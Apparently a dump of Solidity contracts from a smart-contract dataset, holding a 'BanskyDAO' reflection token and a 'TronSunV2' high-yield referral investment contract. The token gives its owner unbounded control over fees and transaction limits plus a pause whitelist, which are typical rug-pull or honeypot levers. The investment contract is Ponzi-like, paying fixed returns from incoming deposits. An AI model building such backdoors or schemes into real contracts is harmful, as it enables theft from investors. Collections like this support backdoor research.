uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _getMaxTxAmount() public view returns(uint256){
return _max_tx_size;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
}
| 250,331 | 243 |
25cdfaa822d0d91403b918c2ea990bd7a5d8c85ed74608cb164ca23dc7a529b8
| 31,061 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a8/a8D5fbEE9e3536Aa924155CA9B9968F8808A639f_BanskyDAO.sol
| 5,193 | 18,728 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BanskyDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 2500 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'BanskyDAO';
string private constant _symbol = 'BANSKY';
uint256 private _taxFee = 200;
uint256 private _burnFee = 0;
uint public max_tx_size = 2500 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x07536EB94aD97878fde531AE0AEE3b708C881753, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 332,563 | 244 |
c8f66fce72a67d06da6ca06990030ecc1cdc92bf19d09d577738c954f74d7a81
| 12,839 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSbZahTQQcoQLNUbAibssRn2uE9bnYg5fV_TronSunV2.sol
| 4,114 | 12,283 |
//SourceUnit: TronSunV2.sol
pragma solidity 0.5.9;
contract TronSunV2 {
using SafeMath for uint256;
// Operating costs
uint256 constant public MARKETING_FEE = 40;
uint256 constant public ADMIN_FEE = 40;
uint256 constant public DEV_FEE = 90;
uint256 constant public INSURANCE_FEE = 50;
uint256 constant public PERCENTS_DIVIDER = 1000;
// Referral percentages
uint8 public constant FIRST_REF = 5;
uint8 public constant SECOND_REF = 3;
uint8 public constant THIRD_REF = 2;
uint8 public constant FOURTH_REF = 1;
uint8 public constant FIFTH_REF = 4;
// Limits
uint256 public constant DEPOSIT_MIN_AMOUNT = 200 trx;
// Before reinvest
uint256 public constant WITHDRAWAL_DEADTIME = 1 days;
// Max ROC days and related MAX ROC (Return of contribution)
uint8 public constant CONTRIBUTION_DAYS = 75;
uint256 public constant CONTRIBUTION_PERC = 300;
// Operating addresses
address payable owner; // Smart Contract Owner (who deploys)
address payable public mkar; // Marketing manager
address payable public adar; // Project manager
address payable public dvar; // Developer
address payable public insurancer; //insurance
uint256 total_investors;
uint256 total_contributed;
uint256 total_withdrawn;
uint256 total_referral_bonus;
uint8[] referral_bonuses;
struct PlayerDeposit {
uint256 amount;
uint256 totalWithdraw;
uint256 time;
}
struct PlayerWitdraw{
uint256 time;
uint256 amount;
}
struct Player {
address referral;
uint256 dividends;
uint256 referral_bonus;
uint256 last_payout;
uint256 last_withdrawal;
uint256 total_contributed;
uint256 total_withdrawn;
uint256 total_referral_bonus;
PlayerDeposit[] deposits;
PlayerWitdraw[] withdrawals;
mapping(uint8 => uint256) referrals_per_level;
}
mapping(address => Player) internal players;
event Deposit(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event Reinvest(address indexed addr, uint256 amount);
event ReferralPayout(address indexed addr, uint256 amount, uint8 level);
constructor(address payable marketingAddr, address payable adminAddr, address payable devAddr, address payable insurAddr) public {
require(!isContract(marketingAddr) && !isContract(adminAddr) && !isContract(devAddr));
mkar = marketingAddr;
adar = adminAddr;
dvar = devAddr;
insurancer = insurAddr;
owner = msg.sender;
// Add referral bonuses (max 8 levels) - We use 5 levels
referral_bonuses.push(10 * FIRST_REF);
referral_bonuses.push(10 * SECOND_REF);
referral_bonuses.push(10 * THIRD_REF);
referral_bonuses.push(10 * FOURTH_REF);
referral_bonuses.push(10 * FIFTH_REF);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function deposit(address _referral) external payable {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(!isContract(_referral));
require(msg.value >= 1e8, "Zero amount");
require(msg.value >= DEPOSIT_MIN_AMOUNT, "Deposit is below minimum amount");
Player storage player = players[msg.sender];
require(player.deposits.length < 10000000, "Max 10000000 deposits per address");
// Check and set referral
_setReferral(msg.sender, _referral);
// Create deposit
player.deposits.push(PlayerDeposit({
amount: msg.value,
totalWithdraw: 0,
time: uint256(block.timestamp)
}));
// Add new user if this is first deposit
if(player.total_contributed == 0x0){
total_investors += 1;
}
player.total_contributed += msg.value;
total_contributed += msg.value;
// Generate referral rewards
_referralPayout(msg.sender, msg.value);
// Pay fees
_feesPayout(msg.value);
emit Deposit(msg.sender, msg.value);
}
function _setReferral(address _addr, address _referral) private {
// Set referral if the user is a new user
if(players[_addr].referral == address(0)) {
// If referral is a registered user, set it as ref, otherwise set adar as ref
if(players[_referral].total_contributed > 0) {
players[_addr].referral = _referral;
} else {
players[_addr].referral = adar;
}
// Update the referral counters
for(uint8 i = 0; i < referral_bonuses.length; i++) {
players[_referral].referrals_per_level[i]++;
_referral = players[_referral].referral;
if(_referral == address(0)) break;
}
}
}
function _referralPayout(address _addr, uint256 _amount) private {
address ref = players[_addr].referral;
Player storage upline_player = players[ref];
// Generate upline rewards
for(uint8 i = 0; i < referral_bonuses.length; i++) {
if(ref == address(0)) break;
uint256 bonus = _amount * referral_bonuses[i] / 1000;
players[ref].referral_bonus += bonus;
players[ref].total_referral_bonus += bonus;
total_referral_bonus += bonus;
emit ReferralPayout(ref, bonus, (i+1));
ref = players[ref].referral;
}
}
function _feesPayout(uint256 _amount) private {
// Send fees if there is enough balance
if (address(this).balance > _feesTotal(_amount)) {
mkar.transfer(_amount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
adar.transfer(_amount.mul(ADMIN_FEE).div(PERCENTS_DIVIDER));
dvar.transfer(_amount.mul(DEV_FEE).div(PERCENTS_DIVIDER));
insurancer.transfer(_amount.mul(INSURANCE_FEE).div(PERCENTS_DIVIDER));
}
}
// Total fees amount
function _feesTotal(uint256 _amount) private view returns(uint256 _fees_tot) {
_fees_tot = _amount.mul(MARKETING_FEE+ADMIN_FEE+DEV_FEE+INSURANCE_FEE).div(PERCENTS_DIVIDER);
}
function autoReinvest(uint256 _amount) private returns (bool) {
Player storage player = players[msg.sender];
// Create deposit
player.deposits.push(PlayerDeposit({
amount: _amount,
totalWithdraw: 0,
time: uint256(block.timestamp)
}));
// Add new user if this is first deposit
player.total_contributed += _amount;
total_contributed += _amount;
// Generate referral rewards
_referralPayout(msg.sender, _amount);
// Pay fees
_feesPayout(_amount);
return true;
}
function withdraw() public {
Player storage player = players[msg.sender];
PlayerDeposit storage first_dep = player.deposits[0];
// Can withdraw once every WITHDRAWAL_DEADTIME days
require(uint256(block.timestamp) > (player.last_withdrawal + WITHDRAWAL_DEADTIME) || (player.withdrawals.length <= 0), "You cannot withdraw during deadtime");
require(address(this).balance > 0, "Cannot withdraw, contract balance is 0");
require(player.deposits.length < 10000000, "Max 10000000 deposits per address");
// Calculate dividends (ROC)
uint256 payout = this.payoutOf(msg.sender);
player.dividends += payout;
// Calculate the amount we should withdraw
uint256 amount_withdrawable = player.dividends + player.referral_bonus;
require(amount_withdrawable > 0, "Zero amount to withdraw");
if (amount_withdrawable > 60000 trx){
// Do Withdraw
uint256 amount_max_for_withdraw = 60000 trx;
if (address(this).balance < amount_max_for_withdraw) {
player.dividends = amount_max_for_withdraw.sub(address(this).balance);
amount_withdrawable = address(this).balance;
} else {
player.dividends = amount_withdrawable - amount_max_for_withdraw;
}
msg.sender.transfer((amount_max_for_withdraw/2));
autoReinvest((amount_max_for_withdraw/2));
// Update player state
player.referral_bonus = 0;
player.total_withdrawn += amount_max_for_withdraw;
total_withdrawn += amount_max_for_withdraw;
player.last_withdrawal = uint256(block.timestamp);
// If there were new dividends, update the payout timestamp
if(payout > 0) {
_updateTotalPayout(msg.sender);
player.last_payout = uint256(block.timestamp);
}
// Add the withdrawal to the list of the done withdrawals
player.withdrawals.push(PlayerWitdraw({
time: uint256(block.timestamp),
amount: amount_max_for_withdraw
}));
emit Withdraw(msg.sender, amount_max_for_withdraw);
}
else{
// Do Withdraw
if (address(this).balance < amount_withdrawable) {
player.dividends = amount_withdrawable.sub(address(this).balance);
amount_withdrawable = address(this).balance;
} else {
player.dividends = 0;
}
msg.sender.transfer((amount_withdrawable/2));
autoReinvest((amount_withdrawable/2));
// Update player state
player.referral_bonus = 0;
player.total_withdrawn += amount_withdrawable;
total_withdrawn += amount_withdrawable;
player.last_withdrawal = uint256(block.timestamp);
// If there were new dividends, update the payout timestamp
if(payout > 0) {
_updateTotalPayout(msg.sender);
player.last_payout = uint256(block.timestamp);
}
// Add the withdrawal to the list of the done withdrawals
player.withdrawals.push(PlayerWitdraw({
time: uint256(block.timestamp),
amount: amount_withdrawable
}));
emit Withdraw(msg.sender, amount_withdrawable);
}
}
function _updateTotalPayout(address _addr) private {
Player storage player = players[_addr];
// For every deposit calculate the ROC and update the withdrawn part
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 time_end = dep.time + CONTRIBUTION_DAYS * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
player.deposits[i].totalWithdraw += dep.amount * (to - from) * CONTRIBUTION_PERC / CONTRIBUTION_DAYS / 8640000;
}
}
}
function withdrawalsOf(address _addrs) view external returns(uint256 _amount) {
Player storage player = players[_addrs];
// Calculate all the real withdrawn amount (to wallet, not reinvested)
for(uint256 n = 0; n < player.withdrawals.length; n++){
_amount += player.withdrawals[n].amount;
}
return _amount;
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
// For every deposit calculate the ROC
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 time_end = dep.time + CONTRIBUTION_DAYS * 86400;
uint256 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint256 to = block.timestamp > time_end ? time_end : uint256(block.timestamp);
if(from < to) {
value += dep.amount * (to - from) * CONTRIBUTION_PERC / CONTRIBUTION_DAYS / 8640000;
}
}
// Total dividends from all deposits
return value;
}
function contractInfo() view external returns(uint256 _total_contributed, uint256 _total_investors, uint256 _total_withdrawn, uint256 _total_referral_bonus) {
return (total_contributed, total_investors, total_withdrawn, total_referral_bonus);
}
function inSurInfo() view external returns(uint256 insurDepo){
return address(insurancer).balance;
}
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 withdrawable_referral_bonus, uint256 invested, uint256 withdrawn, uint256 referral_bonus, uint256[8] memory referrals, uint256 _last_withdrawal) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
// Calculate number of referrals for each level
for(uint8 i = 0; i < referral_bonuses.length; i++) {
referrals[i] = player.referrals_per_level[i];
}
// Return user information
return (payout + player.dividends + player.referral_bonus,
player.referral_bonus,
player.total_contributed,
player.total_withdrawn,
player.total_referral_bonus,
referrals,
player.last_withdrawal);
}
function contributionsInfo(address _addr) view external returns(uint256[] memory endTimes, uint256[] memory amounts, uint256[] memory totalWithdraws) {
Player storage player = players[_addr];
uint256[] memory _endTimes = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _totalWithdraws = new uint256[](player.deposits.length);
// Create arrays with deposits info, each index is related to a deposit
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
_amounts[i] = dep.amount;
_totalWithdraws[i] = dep.totalWithdraw;
_endTimes[i] = dep.time + CONTRIBUTION_DAYS * 86400;
}
return (_endTimes,
_amounts,
_totalWithdraws);
}
}
// Libraries used
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 286,638 | 245 |
84532e3bd0b9f2035133e4c471d28247ae6c8072c9a3ad411ca3cf8774179852
| 11,514 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
